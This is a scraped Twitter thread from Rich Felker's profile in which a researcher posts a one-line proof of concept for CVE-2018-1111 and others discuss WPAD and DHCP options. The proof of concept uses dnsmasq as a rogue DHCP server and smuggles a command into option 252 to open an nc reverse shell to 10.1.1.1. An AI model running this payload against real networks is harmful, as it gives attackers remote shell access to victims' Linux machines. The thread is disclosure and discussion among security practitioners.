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RichFelker's profile
Rich Felker
Rich Felker
Rich Felker
@RichFelker

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Rich Felker

@RichFelker

Yeah, I do @musllibc, FOSS & infosec stuff. But now is not the time for a mostly-/only-tech Twitter feed.

musl-libc.org
Joined March 2014

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    1. Barkın Kılıç‏ @Barknkilic May 15

      #CVE-2018-1111 tweetable PoC :) dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #" cc: @cnbrkbolatpic.twitter.com/vUICm2HluC

      22 replies 945 retweets 1,264 likes
    2. Rich Felker‏ @RichFelker May 15
      Replying to @Barknkilic @solardiz @cnbrkbolat

      Wait, option 252 is WPAD right? Does this mean RH is letting DHCP servers inject MITM?

      1 reply 0 retweets 6 likes
    3. Barkın Kılıç‏ @Barknkilic May 15
      Replying to @RichFelker @solardiz @cnbrkbolat

      uhuh, but since if i could spoof dhcp server, i wouldn’t be going after wdap option for mitm :)

      1 reply 0 retweets 1 like
      Rich Felker‏ @RichFelker May 15
      Replying to @Barknkilic @solardiz @cnbrkbolat

      IIRC Windows browsers let you MITM TLS connections with WPAD. You can't do that with a rogue router/dhcp server without client honoring WPAD.

      4:01 PM - 15 May 2018
      • 2 Likes
      • Qian Jin TiGER
      1 reply 0 retweets 2 likes
        1. New conversation
        2. Barkın Kılıç‏ @Barknkilic May 15
          Replying to @RichFelker @solardiz @cnbrkbolat

          i would enjoy it better if this was a windows bug but since it is a linux vulnerability, still it doesn’t have any value in that area :) this is the reason i said i wouldn’t go after wpad option.

          1 reply 0 retweets 1 like
        3. Rich Felker‏ @RichFelker May 15
          Replying to @Barknkilic @solardiz @cnbrkbolat

          Well if RH has this bug, I suspect they've implemented Windows-equivalent misfeatures...

          1 reply 0 retweets 0 likes
        4. Barkın Kılıç‏ @Barknkilic May 15
          Replying to @RichFelker @solardiz @cnbrkbolat

          Yea that’s a good point but you are missing the real point, which is this vuln. coming from NetworkManager dispatcher script, the reason why i used wpad options is that, it is the only place i have successful placed my RCE payload there.

          1 reply 0 retweets 5 likes
        5. Kevin M‏ @PacketHunt May 17
          Replying to @Barknkilic @RichFelker and

          I've tested all the following dhcp options my system requests and the only one that works is 252 as well. 1, 28, 2, 121, 15, 6, 12, 40, 41, 42, 26, 119, 3, 252, 121, 249, 33, 42

          0 replies 0 retweets 2 likes
        6. End of conversation

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